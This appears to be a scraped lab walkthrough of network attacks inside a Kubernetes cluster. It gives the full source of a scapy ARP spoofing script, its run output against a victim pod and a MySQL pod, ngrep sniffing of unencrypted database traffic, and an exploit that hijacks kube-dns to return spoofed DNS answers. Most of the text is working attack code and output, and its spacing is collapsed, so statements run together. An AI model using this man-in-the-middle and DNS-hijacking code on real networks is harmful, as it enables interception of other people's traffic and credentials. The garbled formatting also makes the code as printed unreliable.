python3/tmp/arp_spoof.pyEnterTargetIP:172.17.0.10#ubuntu-victimEnterGatewayIP:172.17.0.9#mysqlTargetMAC02:42:ac:11:00:0aGatewayMAC:02:42:ac:11:00:09SendingspoofedARPresponses# Get another shellkubectlexec-itubuntu-attack--bashngrep-deth0# Login from ubuntu-victim and mysql and check the unencrypted communication# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-pyfrom scapy.all import*defgetmac(targetip):arppacket=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)targetmac=srp(arppacket, timeout=2 , verbose=False)[0][0][1].hwsrcreturn targetmacdefspoofarpcache(targetip,targetmac,sourceip):spoofed=ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)send(spoofed, verbose=False)defrestorearp(targetip,targetmac,sourceip,sourcemac):packet=ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)send(packet, verbose=False)print("ARP Table restored to normal for", targetip)defmain():targetip=input("Enter Target IP:")gatewayip=input("Enter Gateway IP:")try:targetmac=getmac(targetip)print("Target MAC", targetmac)except:print("Target machine did not respond to ARP broadcast")quit()try:gatewaymac=getmac(gatewayip)print("Gateway MAC:", gatewaymac)except:print("Gateway is unreachable")quit()try:print("Sending spoofed ARP responses")whileTrue:spoofarpcache(targetip, targetmac, gatewayip)spoofarpcache(gatewayip, gatewaymac, targetip)exceptKeyboardInterrupt:print("ARP spoofing stopped")restorearp(gatewayip, gatewaymac, targetip, targetmac)restorearp(targetip, targetmac, gatewayip, gatewaymac)quit()if__name__=="__main__":main()# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machinediggoogle.com[...];; ANSWERSECTION:google.com.1INA1.1.1.1